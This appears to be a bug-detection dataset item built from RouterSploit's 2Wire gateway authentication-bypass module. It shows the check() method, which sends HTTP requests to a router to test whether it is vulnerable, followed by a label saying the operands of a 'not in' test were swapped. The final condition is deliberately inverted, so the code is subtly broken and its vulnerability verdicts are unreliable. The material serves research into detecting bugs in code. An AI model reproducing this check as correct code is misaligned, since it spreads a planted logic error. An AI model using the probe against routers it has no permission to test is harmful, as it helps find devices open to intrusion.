@mute
    def check(self):
        mark = '<form name="pagepost" method="post" action="/xslt?PAGE=WRA01_POST&amp;NEXTPAGE=WRA01_POST" id="pagepost">'

        # checking if the target is valid
        url = sanitize_url("{}:{}/".format(self.target, self.port))
        
        response = http_request(method="GET", url=url)
        if response is None:
            return False  # target is not vulnerable

        if mark not in response.text:
            return False  # target is not vulnerable

        # checking if authentication can be baypassed
        url = sanitize_url("{}:{}/xslt".format(self.target, self.port))
        
        response = http_request(method="GET", url=url)
        if response is None:
            return False  # target is not vulnerable

        if response.text not in mark:
            return True  # target vulnerable

        return False  # target not vulnerable
dataset/ETHPy150Open reverse-shell/routersploit/routersploit/modules/exploits/2wire/gateway_auth_bypass.py/Exploit.check/swapped operands of `not in`